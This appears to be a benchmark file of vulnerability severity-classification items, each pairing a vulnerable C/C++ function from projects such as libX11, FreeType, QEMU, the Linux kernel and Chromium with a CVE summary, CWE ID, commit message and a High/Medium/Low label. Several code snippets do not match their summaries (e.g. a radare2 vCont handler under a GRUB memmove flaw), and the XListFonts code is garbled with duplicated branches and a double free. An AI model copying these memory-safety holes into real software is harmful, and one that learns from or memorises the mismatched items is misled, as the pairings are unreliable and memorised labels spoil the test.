xsltApplySequenceConstructor(ctxt, ctxt->node, inst->children,
NULL);
error:
ctxt->insert = oldInsert;
return;
}
Vulnerability Type: DoS Overflow
CWE ID: CWE-119
Summary: numbers.c in libxslt before 1.1.29, as used in Google Chrome before 51.0.2704.63, mishandles namespace nodes, which allows remote attackers to cause a denial of service (out-of-bounds heap memory access) or possibly have unspecified other impact via a crafted document.
Commit Message: Roll libxslt to 891681e3e948f31732229f53cb6db7215f740fc7
BUG=583156,583171
Review URL: https://codereview.chromium.org/1853083002
Cr-Commit-Position: refs/heads/master@{#385338} | Medium | 173,326 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: XListFonts(
register Display *dpy,
_Xconst char *pattern, /* null-terminated */
int maxNames,
int *actualCount) /* RETURN */
{
register long nbytes;
register unsigned i;
register int length;
char **flist = NULL;
char *ch = NULL;
char *chstart;
char *chend;
int count = 0;
xListFontsReply rep;
register xListFontsReq *req;
unsigned long rlen = 0;
LockDisplay(dpy);
GetReq(ListFonts, req);
req->maxNames = maxNames;
nbytes = req->nbytes = pattern ? strlen (pattern) : 0;
req->length += (nbytes + 3) >> 2;
_XSend (dpy, pattern, nbytes);
/* use _XSend instead of Data, since following _XReply will flush buffer */
if (!_XReply (dpy, (xReply *)&rep, 0, xFalse)) {
*actualCount = 0;
UnlockDisplay(dpy);
SyncHandle();
return (char **) NULL;
}
if (rep.nFonts) {
flist = Xmalloc (rep.nFonts * sizeof(char *));
if (rep.length > 0 && rep.length < (INT_MAX >> 2)) {
rlen = rep.length << 2;
ch = Xmalloc(rlen + 1);
/* +1 to leave room for last null-terminator */
}
if ((! flist) || (! ch)) {
Xfree(flist);
Xfree(ch);
_XEatDataWords(dpy, rep.length);
*actualCount = 0;
UnlockDisplay(dpy);
SyncHandle();
return (char **) NULL;
}
_XReadPad (dpy, ch, rlen);
/*
* unpack into null terminated strings.
*/
chstart = ch;
chend = ch + (rlen + 1);
length = *(unsigned char *)ch;
*ch = 1; /* make sure it is non-zero for XFreeFontNames */
for (i = 0; i < rep.nFonts; i++) {
if (ch + length < chend) {
flist[i] = ch + 1; /* skip over length */
ch += length + 1; /* find next length ... */
if (ch <= chend) {
length = *(unsigned char *)ch;
*ch = '\0'; /* and replace with null-termination */
count++;
} else {
Xfree(chstart);
Xfree(flist);
flist = NULL;
count = 0;
break;
}
} else {
Xfree(chstart);
Xfree(flist);
Xfree(flist);
flist = NULL;
count = 0;
break;
}
} else {
Xfree(chstart);
Xfree(flist);
flist = NULL;
count = 0;
break;
}
}
}
Vulnerability Type:
CWE ID: CWE-682
Summary: An issue was discovered in libX11 through 1.6.5. The function XListExtensions in ListExt.c is vulnerable to an off-by-one error caused by malicious server responses, leading to DoS or possibly unspecified other impact.
Commit Message: | High | 164,747 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: ContextualSearchParams()
: version(-1),
start(base::string16::npos),
end(base::string16::npos),
now_on_tap_version(0) {}
Vulnerability Type: DoS
CWE ID:
Summary: Multiple unspecified vulnerabilities in Google Chrome before 38.0.2125.101 allow attackers to cause a denial of service or possibly have other impact via unknown vectors.
Commit Message: [Contextual Search] Change "Now on Tap" to "Contextual Cards"
BUG=644934
Review-Url: https://codereview.chromium.org/2361163003
Cr-Commit-Position: refs/heads/master@{#420899} | High | 171,645 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int _server_handle_vCont(libgdbr_t *g, int (*cmd_cb) (void*, const char*, char*, size_t), void *core_ptr) {
char *action = NULL;
if (send_ack (g) < 0) {
return -1;
}
g->data[g->data_len] = '\0';
if (g->data[5] == '?') {
return send_msg (g, "vCont;c;s");
}
if (!(action = strtok (g->data, ";"))) {
return send_msg (g, "E01");
}
while (action = strtok (NULL, ";")) {
eprintf ("action: %s\n", action);
switch (action[0]) {
case 's':
if (cmd_cb (core_ptr, "ds", NULL, 0) < 0) {
send_msg (g, "E01");
return -1;
}
return send_msg (g, "OK");
case 'c':
if (cmd_cb (core_ptr, "dc", NULL, 0) < 0) {
send_msg (g, "E01");
return -1;
}
return send_msg (g, "OK");
default:
return send_msg (g, "E01");
}
}
}
Vulnerability Type: DoS
CWE ID: CWE-787
Summary: The grub_memmove function in shlr/grub/kern/misc.c in radare2 1.5.0 allows remote attackers to cause a denial of service (stack-based buffer underflow and application crash) or possibly have unspecified other impact via a crafted binary file, possibly related to a buffer underflow in fs/ext2.c in GNU GRUB 2.02.
Commit Message: Fix ext2 buffer overflow in r2_sbu_grub_memmove | Medium | 168,081 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void BrowserViewRenderer::SetTotalRootLayerScrollOffset(
gfx::Vector2dF scroll_offset_dip) {
if (scroll_offset_dip_ == scroll_offset_dip)
return;
scroll_offset_dip_ = scroll_offset_dip;
gfx::Vector2d max_offset = max_scroll_offset();
gfx::Vector2d scroll_offset;
if (max_scroll_offset_dip_.x()) {
scroll_offset.set_x((scroll_offset_dip.x() * max_offset.x()) /
max_scroll_offset_dip_.x());
}
if (max_scroll_offset_dip_.y()) {
scroll_offset.set_y((scroll_offset_dip.y() * max_offset.y()) /
max_scroll_offset_dip_.y());
}
DCHECK_LE(0, scroll_offset.x());
DCHECK_LE(0, scroll_offset.y());
DCHECK_LE(scroll_offset.x(), max_offset.x());
DCHECK_LE(scroll_offset.y(), max_offset.y());
client_->ScrollContainerViewTo(scroll_offset);
}
Vulnerability Type: DoS
CWE ID: CWE-399
Summary: Use-after-free vulnerability in the StyleElement::removedFromDocument function in core/dom/StyleElement.cpp in Blink, as used in Google Chrome before 35.0.1916.114, allows remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact via crafted JavaScript code that triggers tree mutation.
Commit Message: sync compositor: pass simple gfx types by const ref
See bug for reasoning
BUG=159273
Review URL: https://codereview.chromium.org/1417893006
Cr-Commit-Position: refs/heads/master@{#356653} | High | 171,615 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int cuse_channel_release(struct inode *inode, struct file *file)
{
struct fuse_dev *fud = file->private_data;
struct cuse_conn *cc = fc_to_cc(fud->fc);
int rc;
/* remove from the conntbl, no more access from this point on */
mutex_lock(&cuse_lock);
list_del_init(&cc->list);
mutex_unlock(&cuse_lock);
/* remove device */
if (cc->dev)
device_unregister(cc->dev);
if (cc->cdev) {
unregister_chrdev_region(cc->cdev->dev, 1);
cdev_del(cc->cdev);
}
rc = fuse_dev_release(inode, file); /* puts the base reference */
return rc;
}
Vulnerability Type: DoS
CWE ID: CWE-399
Summary: Memory leak in the cuse_channel_release function in fs/fuse/cuse.c in the Linux kernel before 4.4 allows local users to cause a denial of service (memory consumption) or possibly have unspecified other impact by opening /dev/cuse many times.
Commit Message: cuse: fix memory leak
The problem is that fuse_dev_alloc() acquires an extra reference to cc.fc,
and the original ref count is never dropped.
Reported-by: Colin Ian King <[email protected]>
Signed-off-by: Miklos Szeredi <[email protected]>
Fixes: cc080e9e9be1 ("fuse: introduce per-instance fuse_dev structure")
Cc: <[email protected]> # v4.2+ | Medium | 167,573 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static void virgl_resource_attach_backing(VirtIOGPU *g,
struct virtio_gpu_ctrl_command *cmd)
{
struct virtio_gpu_resource_attach_backing att_rb;
struct iovec *res_iovs;
int ret;
VIRTIO_GPU_FILL_CMD(att_rb);
trace_virtio_gpu_cmd_res_back_attach(att_rb.resource_id);
ret = virtio_gpu_create_mapping_iov(&att_rb, cmd, NULL, &res_iovs);
if (ret != 0) {
cmd->error = VIRTIO_GPU_RESP_ERR_UNSPEC;
return;
}
virgl_renderer_resource_attach_iov(att_rb.resource_id,
res_iovs, att_rb.nr_entries);
}
Vulnerability Type: DoS
CWE ID: CWE-772
Summary: Memory leak in the virgl_resource_attach_backing function in hw/display/virtio-gpu-3d.c in QEMU (aka Quick Emulator) allows local guest OS users to cause a denial of service (host memory consumption) via a large number of VIRTIO_GPU_CMD_RESOURCE_ATTACH_BACKING commands.
Commit Message: | Medium | 164,988 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: T1_Get_Private_Dict( T1_Parser parser,
PSAux_Service psaux )
{
FT_Stream stream = parser->stream;
FT_Memory memory = parser->root.memory;
FT_Error error = FT_Err_Ok;
FT_ULong size;
if ( parser->in_pfb )
{
/* in the case of the PFB format, the private dictionary can be */
/* made of several segments. We thus first read the number of */
/* segments to compute the total size of the private dictionary */
/* then re-read them into memory. */
FT_ULong start_pos = FT_STREAM_POS();
FT_UShort tag;
parser->private_len = 0;
for (;;)
{
error = read_pfb_tag( stream, &tag, &size );
if ( error )
goto Fail;
if ( tag != 0x8002U )
break;
parser->private_len += size;
if ( FT_STREAM_SKIP( size ) )
goto Fail;
}
/* Check that we have a private dictionary there */
/* and allocate private dictionary buffer */
if ( parser->private_len == 0 )
{
FT_ERROR(( "T1_Get_Private_Dict:"
" invalid private dictionary section\n" ));
error = FT_THROW( Invalid_File_Format );
goto Fail;
}
if ( FT_STREAM_SEEK( start_pos ) ||
FT_ALLOC( parser->private_dict, parser->private_len ) )
goto Fail;
parser->private_len = 0;
for (;;)
{
error = read_pfb_tag( stream, &tag, &size );
if ( error || tag != 0x8002U )
{
error = FT_Err_Ok;
break;
}
if ( FT_STREAM_READ( parser->private_dict + parser->private_len,
size ) )
goto Fail;
parser->private_len += size;
}
}
else
{
/* We have already `loaded' the whole PFA font file into memory; */
/* if this is a memory resource, allocate a new block to hold */
/* the private dict. Otherwise, simply overwrite into the base */
/* dictionary block in the heap. */
/* first of all, look at the `eexec' keyword */
FT_Byte* cur = parser->base_dict;
FT_Byte* limit = cur + parser->base_len;
FT_Byte c;
FT_Pointer pos_lf;
FT_Bool test_cr;
Again:
for (;;)
{
c = cur[0];
if ( c == 'e' && cur + 9 < limit ) /* 9 = 5 letters for `eexec' + */
/* whitespace + 4 chars */
{
if ( cur[1] == 'e' &&
cur[2] == 'x' &&
cur[3] == 'e' &&
cur[4] == 'c' )
break;
}
cur++;
if ( cur >= limit )
{
FT_ERROR(( "T1_Get_Private_Dict:"
" could not find `eexec' keyword\n" ));
error = FT_THROW( Invalid_File_Format );
goto Exit;
}
}
/* check whether `eexec' was real -- it could be in a comment */
/* or string (as e.g. in u003043t.gsf from ghostscript) */
parser->root.cursor = parser->base_dict;
/* set limit to `eexec' + whitespace + 4 characters */
parser->root.limit = cur + 10;
cur = parser->root.cursor;
limit = parser->root.limit;
while ( cur < limit )
{
if ( *cur == 'e' && ft_strncmp( (char*)cur, "eexec", 5 ) == 0 )
goto Found;
T1_Skip_PS_Token( parser );
if ( parser->root.error )
break;
T1_Skip_Spaces ( parser );
cur = parser->root.cursor;
}
/* we haven't found the correct `eexec'; go back and continue */
/* searching */
cur = limit;
limit = parser->base_dict + parser->base_len;
goto Again;
/* now determine where to write the _encrypted_ binary private */
/* According to the Type 1 spec, the first cipher byte must not be */
/* an ASCII whitespace character code (blank, tab, carriage return */
/* or line feed). We have seen Type 1 fonts with two line feed */
/* characters... So skip now all whitespace character codes. */
/* */
/* On the other hand, Adobe's Type 1 parser handles fonts just */
/* fine that are violating this limitation, so we add a heuristic */
/* test to stop at \r only if it is not used for EOL. */
pos_lf = ft_memchr( cur, '\n', (size_t)( limit - cur ) );
test_cr = FT_BOOL( !pos_lf ||
pos_lf > ft_memchr( cur,
'\r',
(size_t)( limit - cur ) ) );
while ( cur < limit &&
( *cur == ' ' ||
*cur == '\t' ||
(test_cr && *cur == '\r' ) ||
*cur == '\n' ) )
++cur;
if ( cur >= limit )
{
FT_ERROR(( "T1_Get_Private_Dict:"
" `eexec' not properly terminated\n" ));
error = FT_THROW( Invalid_File_Format );
goto Exit;
}
size = parser->base_len - (FT_ULong)( cur - parser->base_dict );
if ( parser->in_memory )
{
/* note that we allocate one more byte to put a terminating `0' */
if ( FT_ALLOC( parser->private_dict, size + 1 ) )
goto Fail;
parser->private_len = size;
}
else
{
parser->single_block = 1;
parser->private_dict = parser->base_dict;
parser->private_len = size;
parser->base_dict = NULL;
parser->base_len = 0;
}
/* now determine whether the private dictionary is encoded in binary */
/* or hexadecimal ASCII format -- decode it accordingly */
/* we need to access the next 4 bytes (after the final whitespace */
/* following the `eexec' keyword); if they all are hexadecimal */
/* digits, then we have a case of ASCII storage */
if ( cur + 3 < limit &&
ft_isxdigit( cur[0] ) && ft_isxdigit( cur[1] ) &&
ft_isxdigit( cur[2] ) && ft_isxdigit( cur[3] ) )
{
/* ASCII hexadecimal encoding */
FT_ULong len;
parser->root.cursor = cur;
(void)psaux->ps_parser_funcs->to_bytes( &parser->root,
parser->private_dict,
parser->private_len,
&len,
0 );
parser->private_len = len;
/* put a safeguard */
parser->private_dict[len] = '\0';
}
else
/* binary encoding -- copy the private dict */
FT_MEM_MOVE( parser->private_dict, cur, size );
}
/* we now decrypt the encoded binary private dictionary */
psaux->t1_decrypt( parser->private_dict, parser->private_len, 55665U );
if ( parser->private_len < 4 )
{
FT_ERROR(( "T1_Get_Private_Dict:"
" invalid private dictionary section\n" ));
error = FT_THROW( Invalid_File_Format );
goto Fail;
}
/* replace the four random bytes at the beginning with whitespace */
parser->private_dict[0] = ' ';
parser->private_dict[1] = ' ';
parser->private_dict[2] = ' ';
parser->private_dict[3] = ' ';
parser->root.base = parser->private_dict;
parser->root.cursor = parser->private_dict;
parser->root.limit = parser->root.cursor + parser->private_len;
Fail:
Exit:
return error;
}
Vulnerability Type:
CWE ID: CWE-125
Summary: In FreeType before 2.6.1, a buffer over-read occurs in type1/t1parse.c on function T1_Get_Private_Dict where there is no check that the new values of cur and limit are sensible before going to Again.
Commit Message: | High | 165,428 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: bool ChromeContentUtilityClient::OnMessageReceived(
const IPC::Message& message) {
if (filter_messages_ && !ContainsKey(message_id_whitelist_, message.type()))
return false;
bool handled = true;
IPC_BEGIN_MESSAGE_MAP(ChromeContentUtilityClient, message)
IPC_MESSAGE_HANDLER(ChromeUtilityMsg_DecodeImage, OnDecodeImage)
#if defined(OS_CHROMEOS)
IPC_MESSAGE_HANDLER(ChromeUtilityMsg_RobustJPEGDecodeImage,
OnRobustJPEGDecodeImage)
#endif // defined(OS_CHROMEOS)
IPC_MESSAGE_HANDLER(ChromeUtilityMsg_PatchFileBsdiff,
OnPatchFileBsdiff)
IPC_MESSAGE_HANDLER(ChromeUtilityMsg_PatchFileCourgette,
OnPatchFileCourgette)
IPC_MESSAGE_HANDLER(ChromeUtilityMsg_StartupPing, OnStartupPing)
#if defined(FULL_SAFE_BROWSING)
IPC_MESSAGE_HANDLER(ChromeUtilityMsg_AnalyzeZipFileForDownloadProtection,
OnAnalyzeZipFileForDownloadProtection)
#endif
#if defined(ENABLE_EXTENSIONS)
IPC_MESSAGE_HANDLER(ChromeUtilityMsg_ParseMediaMetadata,
OnParseMediaMetadata)
#endif
#if defined(OS_CHROMEOS)
IPC_MESSAGE_HANDLER(ChromeUtilityMsg_CreateZipFile, OnCreateZipFile)
#endif
IPC_MESSAGE_UNHANDLED(handled = false)
IPC_END_MESSAGE_MAP()
for (Handlers::iterator it = handlers_.begin();
!handled && it != handlers_.end(); ++it) {
handled = (*it)->OnMessageReceived(message);
}
return handled;
}
Vulnerability Type: Bypass
CWE ID:
Summary: Multiple unspecified vulnerabilities in Google Chrome before 33.0.1750.117 allow attackers to bypass the sandbox protection mechanism after obtaining renderer access, or have other impact, via unknown vectors.
Commit Message: Add the SandboxedDMGParser and wire it up to the DownloadProtectionService.
BUG=496898,464083
[email protected], [email protected], [email protected], [email protected]
Review URL: https://codereview.chromium.org/1299223006 .
Cr-Commit-Position: refs/heads/master@{#344876} | High | 171,716 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: VideoCaptureManager::~VideoCaptureManager() {
DCHECK(controllers_.empty());
DCHECK(device_start_request_queue_.empty());
if (screenlock_monitor_) {
screenlock_monitor_->RemoveObserver(this);
}
}
Vulnerability Type:
CWE ID: CWE-189
Summary: Incorrect handling of negative zero in V8 in Google Chrome prior to 72.0.3626.81 allowed a remote attacker to perform arbitrary read/write via a crafted HTML page.
Commit Message: Make MediaStreamDispatcherHost per-request instead of per-frame.
Instead of having RenderFrameHost own a single MSDH to handle all
requests from a frame, MSDH objects will be owned by a strong binding.
A consequence of this is that an additional requester ID is added to
requests to MediaStreamManager, so that an MSDH is able to cancel only
requests generated by it.
In practice, MSDH will continue to be per frame in most cases since
each frame normally makes a single request for an MSDH object.
This fixes a lifetime issue caused by the IO thread executing tasks
after the RenderFrameHost dies.
Drive-by: Fix some minor lint issues.
Bug: 912520
Change-Id: I52742ffc98b9fc57ce8e6f5093a61aed86d3e516
Reviewed-on: https://chromium-review.googlesource.com/c/1369799
Reviewed-by: Emircan Uysaler <[email protected]>
Reviewed-by: Ken Buchanan <[email protected]>
Reviewed-by: Olga Sharonova <[email protected]>
Commit-Queue: Guido Urdaneta <[email protected]>
Cr-Commit-Position: refs/heads/master@{#616347} | Medium | 173,108 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: jbig2_page_add_result(Jbig2Ctx *ctx, Jbig2Page *page, Jbig2Image *image, int x, int y, Jbig2ComposeOp op)
{
/* ensure image exists first */
if (page->image == NULL) {
jbig2_error(ctx, JBIG2_SEVERITY_WARNING, -1, "page info possibly missing, no image defined");
return 0;
}
/* grow the page to accomodate a new stripe if necessary */
if (page->striped) {
int new_height = y + image->height + page->end_row;
if (page->image->height < new_height) {
jbig2_error(ctx, JBIG2_SEVERITY_DEBUG, -1, "growing page buffer to %d rows " "to accomodate new stripe", new_height);
jbig2_image_resize(ctx, page->image, page->image->width, new_height);
}
}
jbig2_image_compose(ctx, page->image, image, x, y + page->end_row, op);
return 0;
}
Vulnerability Type: Overflow
CWE ID: CWE-119
Summary: ghostscript before version 9.21 is vulnerable to a heap based buffer overflow that was found in the ghostscript jbig2_decode_gray_scale_image function which is used to decode halftone segments in a JBIG2 image. A document (PostScript or PDF) with an embedded, specially crafted, jbig2 image could trigger a segmentation fault in ghostscript.
Commit Message: | Medium | 165,496 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: status_t Camera2Client::dump(int fd, const Vector<String16>& args) {
String8 result;
result.appendFormat("Client2[%d] (%p) Client: %s PID: %d, dump:\n",
mCameraId,
getRemoteCallback()->asBinder().get(),
String8(mClientPackageName).string(),
mClientPid);
result.append(" State: ");
#define CASE_APPEND_ENUM(x) case x: result.append(#x "\n"); break;
const Parameters& p = mParameters.unsafeAccess();
result.append(Parameters::getStateName(p.state));
result.append("\n Current parameters:\n");
result.appendFormat(" Preview size: %d x %d\n",
p.previewWidth, p.previewHeight);
result.appendFormat(" Preview FPS range: %d - %d\n",
p.previewFpsRange[0], p.previewFpsRange[1]);
result.appendFormat(" Preview HAL pixel format: 0x%x\n",
p.previewFormat);
result.appendFormat(" Preview transform: %x\n",
p.previewTransform);
result.appendFormat(" Picture size: %d x %d\n",
p.pictureWidth, p.pictureHeight);
result.appendFormat(" Jpeg thumbnail size: %d x %d\n",
p.jpegThumbSize[0], p.jpegThumbSize[1]);
result.appendFormat(" Jpeg quality: %d, thumbnail quality: %d\n",
p.jpegQuality, p.jpegThumbQuality);
result.appendFormat(" Jpeg rotation: %d\n", p.jpegRotation);
result.appendFormat(" GPS tags %s\n",
p.gpsEnabled ? "enabled" : "disabled");
if (p.gpsEnabled) {
result.appendFormat(" GPS lat x long x alt: %f x %f x %f\n",
p.gpsCoordinates[0], p.gpsCoordinates[1],
p.gpsCoordinates[2]);
result.appendFormat(" GPS timestamp: %lld\n",
p.gpsTimestamp);
result.appendFormat(" GPS processing method: %s\n",
p.gpsProcessingMethod.string());
}
result.append(" White balance mode: ");
switch (p.wbMode) {
CASE_APPEND_ENUM(ANDROID_CONTROL_AWB_MODE_AUTO)
CASE_APPEND_ENUM(ANDROID_CONTROL_AWB_MODE_INCANDESCENT)
CASE_APPEND_ENUM(ANDROID_CONTROL_AWB_MODE_FLUORESCENT)
CASE_APPEND_ENUM(ANDROID_CONTROL_AWB_MODE_WARM_FLUORESCENT)
CASE_APPEND_ENUM(ANDROID_CONTROL_AWB_MODE_DAYLIGHT)
CASE_APPEND_ENUM(ANDROID_CONTROL_AWB_MODE_CLOUDY_DAYLIGHT)
CASE_APPEND_ENUM(ANDROID_CONTROL_AWB_MODE_TWILIGHT)
CASE_APPEND_ENUM(ANDROID_CONTROL_AWB_MODE_SHADE)
default: result.append("UNKNOWN\n");
}
result.append(" Effect mode: ");
switch (p.effectMode) {
CASE_APPEND_ENUM(ANDROID_CONTROL_EFFECT_MODE_OFF)
CASE_APPEND_ENUM(ANDROID_CONTROL_EFFECT_MODE_MONO)
CASE_APPEND_ENUM(ANDROID_CONTROL_EFFECT_MODE_NEGATIVE)
CASE_APPEND_ENUM(ANDROID_CONTROL_EFFECT_MODE_SOLARIZE)
CASE_APPEND_ENUM(ANDROID_CONTROL_EFFECT_MODE_SEPIA)
CASE_APPEND_ENUM(ANDROID_CONTROL_EFFECT_MODE_POSTERIZE)
CASE_APPEND_ENUM(ANDROID_CONTROL_EFFECT_MODE_WHITEBOARD)
CASE_APPEND_ENUM(ANDROID_CONTROL_EFFECT_MODE_BLACKBOARD)
CASE_APPEND_ENUM(ANDROID_CONTROL_EFFECT_MODE_AQUA)
default: result.append("UNKNOWN\n");
}
result.append(" Antibanding mode: ");
switch (p.antibandingMode) {
CASE_APPEND_ENUM(ANDROID_CONTROL_AE_ANTIBANDING_MODE_AUTO)
CASE_APPEND_ENUM(ANDROID_CONTROL_AE_ANTIBANDING_MODE_OFF)
CASE_APPEND_ENUM(ANDROID_CONTROL_AE_ANTIBANDING_MODE_50HZ)
CASE_APPEND_ENUM(ANDROID_CONTROL_AE_ANTIBANDING_MODE_60HZ)
default: result.append("UNKNOWN\n");
}
result.append(" Scene mode: ");
switch (p.sceneMode) {
case ANDROID_CONTROL_SCENE_MODE_UNSUPPORTED:
result.append("AUTO\n"); break;
CASE_APPEND_ENUM(ANDROID_CONTROL_SCENE_MODE_ACTION)
CASE_APPEND_ENUM(ANDROID_CONTROL_SCENE_MODE_PORTRAIT)
CASE_APPEND_ENUM(ANDROID_CONTROL_SCENE_MODE_LANDSCAPE)
CASE_APPEND_ENUM(ANDROID_CONTROL_SCENE_MODE_NIGHT)
CASE_APPEND_ENUM(ANDROID_CONTROL_SCENE_MODE_NIGHT_PORTRAIT)
CASE_APPEND_ENUM(ANDROID_CONTROL_SCENE_MODE_THEATRE)
CASE_APPEND_ENUM(ANDROID_CONTROL_SCENE_MODE_BEACH)
CASE_APPEND_ENUM(ANDROID_CONTROL_SCENE_MODE_SNOW)
CASE_APPEND_ENUM(ANDROID_CONTROL_SCENE_MODE_SUNSET)
CASE_APPEND_ENUM(ANDROID_CONTROL_SCENE_MODE_STEADYPHOTO)
CASE_APPEND_ENUM(ANDROID_CONTROL_SCENE_MODE_FIREWORKS)
CASE_APPEND_ENUM(ANDROID_CONTROL_SCENE_MODE_SPORTS)
CASE_APPEND_ENUM(ANDROID_CONTROL_SCENE_MODE_PARTY)
CASE_APPEND_ENUM(ANDROID_CONTROL_SCENE_MODE_CANDLELIGHT)
CASE_APPEND_ENUM(ANDROID_CONTROL_SCENE_MODE_BARCODE)
default: result.append("UNKNOWN\n");
}
result.append(" Flash mode: ");
switch (p.flashMode) {
CASE_APPEND_ENUM(Parameters::FLASH_MODE_OFF)
CASE_APPEND_ENUM(Parameters::FLASH_MODE_AUTO)
CASE_APPEND_ENUM(Parameters::FLASH_MODE_ON)
CASE_APPEND_ENUM(Parameters::FLASH_MODE_TORCH)
CASE_APPEND_ENUM(Parameters::FLASH_MODE_RED_EYE)
CASE_APPEND_ENUM(Parameters::FLASH_MODE_INVALID)
default: result.append("UNKNOWN\n");
}
result.append(" Focus mode: ");
switch (p.focusMode) {
CASE_APPEND_ENUM(Parameters::FOCUS_MODE_AUTO)
CASE_APPEND_ENUM(Parameters::FOCUS_MODE_MACRO)
CASE_APPEND_ENUM(Parameters::FOCUS_MODE_CONTINUOUS_VIDEO)
CASE_APPEND_ENUM(Parameters::FOCUS_MODE_CONTINUOUS_PICTURE)
CASE_APPEND_ENUM(Parameters::FOCUS_MODE_EDOF)
CASE_APPEND_ENUM(Parameters::FOCUS_MODE_INFINITY)
CASE_APPEND_ENUM(Parameters::FOCUS_MODE_FIXED)
CASE_APPEND_ENUM(Parameters::FOCUS_MODE_INVALID)
default: result.append("UNKNOWN\n");
}
result.append(" Focus state: ");
switch (p.focusState) {
CASE_APPEND_ENUM(ANDROID_CONTROL_AF_STATE_INACTIVE)
CASE_APPEND_ENUM(ANDROID_CONTROL_AF_STATE_PASSIVE_SCAN)
CASE_APPEND_ENUM(ANDROID_CONTROL_AF_STATE_PASSIVE_FOCUSED)
CASE_APPEND_ENUM(ANDROID_CONTROL_AF_STATE_PASSIVE_UNFOCUSED)
CASE_APPEND_ENUM(ANDROID_CONTROL_AF_STATE_ACTIVE_SCAN)
CASE_APPEND_ENUM(ANDROID_CONTROL_AF_STATE_FOCUSED_LOCKED)
CASE_APPEND_ENUM(ANDROID_CONTROL_AF_STATE_NOT_FOCUSED_LOCKED)
default: result.append("UNKNOWN\n");
}
result.append(" Focusing areas:\n");
for (size_t i = 0; i < p.focusingAreas.size(); i++) {
result.appendFormat(" [ (%d, %d, %d, %d), weight %d ]\n",
p.focusingAreas[i].left,
p.focusingAreas[i].top,
p.focusingAreas[i].right,
p.focusingAreas[i].bottom,
p.focusingAreas[i].weight);
}
result.appendFormat(" Exposure compensation index: %d\n",
p.exposureCompensation);
result.appendFormat(" AE lock %s, AWB lock %s\n",
p.autoExposureLock ? "enabled" : "disabled",
p.autoWhiteBalanceLock ? "enabled" : "disabled" );
result.appendFormat(" Metering areas:\n");
for (size_t i = 0; i < p.meteringAreas.size(); i++) {
result.appendFormat(" [ (%d, %d, %d, %d), weight %d ]\n",
p.meteringAreas[i].left,
p.meteringAreas[i].top,
p.meteringAreas[i].right,
p.meteringAreas[i].bottom,
p.meteringAreas[i].weight);
}
result.appendFormat(" Zoom index: %d\n", p.zoom);
result.appendFormat(" Video size: %d x %d\n", p.videoWidth,
p.videoHeight);
result.appendFormat(" Recording hint is %s\n",
p.recordingHint ? "set" : "not set");
result.appendFormat(" Video stabilization is %s\n",
p.videoStabilization ? "enabled" : "disabled");
result.appendFormat(" Selected still capture FPS range: %d - %d\n",
p.fastInfo.bestStillCaptureFpsRange[0],
p.fastInfo.bestStillCaptureFpsRange[1]);
result.append(" Current streams:\n");
result.appendFormat(" Preview stream ID: %d\n",
getPreviewStreamId());
result.appendFormat(" Capture stream ID: %d\n",
getCaptureStreamId());
result.appendFormat(" Recording stream ID: %d\n",
getRecordingStreamId());
result.append(" Quirks for this camera:\n");
bool haveQuirk = false;
if (p.quirks.triggerAfWithAuto) {
result.appendFormat(" triggerAfWithAuto\n");
haveQuirk = true;
}
if (p.quirks.useZslFormat) {
result.appendFormat(" useZslFormat\n");
haveQuirk = true;
}
if (p.quirks.meteringCropRegion) {
result.appendFormat(" meteringCropRegion\n");
haveQuirk = true;
}
if (p.quirks.partialResults) {
result.appendFormat(" usePartialResult\n");
haveQuirk = true;
}
if (!haveQuirk) {
result.appendFormat(" none\n");
}
write(fd, result.string(), result.size());
mStreamingProcessor->dump(fd, args);
mCaptureSequencer->dump(fd, args);
mFrameProcessor->dump(fd, args);
mZslProcessor->dump(fd, args);
return dumpDevice(fd, args);
#undef CASE_APPEND_ENUM
}
Vulnerability Type: +Priv
CWE ID: CWE-264
Summary: libcameraservice in mediaserver in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49H, and 6.x before 2016-03-01 does not require use of the ICameraService::dump method for a camera service dump, which allows attackers to gain privileges via a crafted application that directly dumps, as demonstrated by obtaining Signature or SignatureOrSystem access, aka internal bug 26265403.
Commit Message: Camera: Disallow dumping clients directly
Camera service dumps should only be initiated through
ICameraService::dump.
Bug: 26265403
Change-Id: If3ca4718ed74bf33ad8a416192689203029e2803
| High | 173,937 |
